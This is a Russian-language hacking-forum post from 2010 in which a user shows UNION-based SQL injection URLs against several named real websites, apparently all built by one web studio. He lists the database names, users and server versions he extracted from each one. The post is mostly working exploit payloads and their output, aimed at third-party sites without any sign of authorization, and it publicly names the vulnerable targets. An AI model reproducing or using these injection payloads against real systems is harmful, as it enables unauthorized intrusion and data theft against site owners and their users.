SQL Инъекции

#11

18.02.2010, 05:22

Seravin

Участник форума

Регистрация: 25.11.2009

Сообщений: 201

С нами: 8663063

Репутация: 226

Минут пять не мог понять как раскрутить инъекцию xD

Код:

http://lidashoes.com/index/news/cor/env/id/eq/-1'+union+select+1,2,3,4,5+--+'

version: 4.0.25-standard
database: lidashoe_lidashoes
user: lidashoe@localhost

Код:

http://polly.by/index/catalogue/env/r_id/eq/-1'+union+select+1,2,concat(database(),0x3a,user(),0x3a,version()),4,5,6+--+'

version: 4.0.25-standard
database: pollyby_polly
user: pollyby@localhost

Код:

http://www.vesta.by/index/news/cor/env/id/eq/-1'+union+select+1,2,concat(database(),0x3a,user(),0x3a,version()),4,5+--+'

version: 4.0.25-standard
database: vestaby_vesta
user: vestaby@localhost

Ну и такие вроде бы все сайты разработанные фирмой proximalogic. Линк на их портофолио: http://www.proximalogic.com/index/portfolio/

"Преимущества работы с нашей организацией
Многолетний опыт стабильной работы.
Профессиональная команда способная решить любые задачи.
Использование самых современных и передовых технологий."

Я в тоске...

P.S. и у них на сайте тоже есть скуля хDDDD

Код:

http://www.proximalogic.com/index/news/cor/env/id/eq/-1'+union+select+1,2,3,4,5,6+--+'

database: proxima_proxima
user: proxima@localhost
version: 4.0.25-standard

Последний раз редактировалось Seravin; 18.02.2010 в 05:42..